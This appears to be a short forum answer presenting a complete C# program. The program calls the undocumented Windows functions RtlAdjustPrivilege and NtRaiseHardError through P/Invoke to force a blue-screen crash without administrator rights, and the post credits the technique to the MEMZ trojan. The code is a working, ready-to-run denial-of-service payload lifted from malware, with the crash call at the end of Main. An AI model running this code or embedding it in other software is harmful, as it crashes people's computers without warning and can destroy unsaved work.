There is an undocumented Win32 API call named NtRaiseHardError which can be called using P/Invoke and ntdll. This is actually the way that the Memz trojan triggers a BSOD without requiring administrator rights. https://github.com/peewpw/Invoke-BSOD/blob/master/Program.cs http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtRaiseHardError.html
using System;
using System.Runtime.InteropServices;
namespace App
{
class Program
{
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
static unsafe void Main(string[] args)
{
Boolean t1;
uint t2;
RtlAdjustPrivilege(19, true, false, out t1);
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out t2);
}
}
}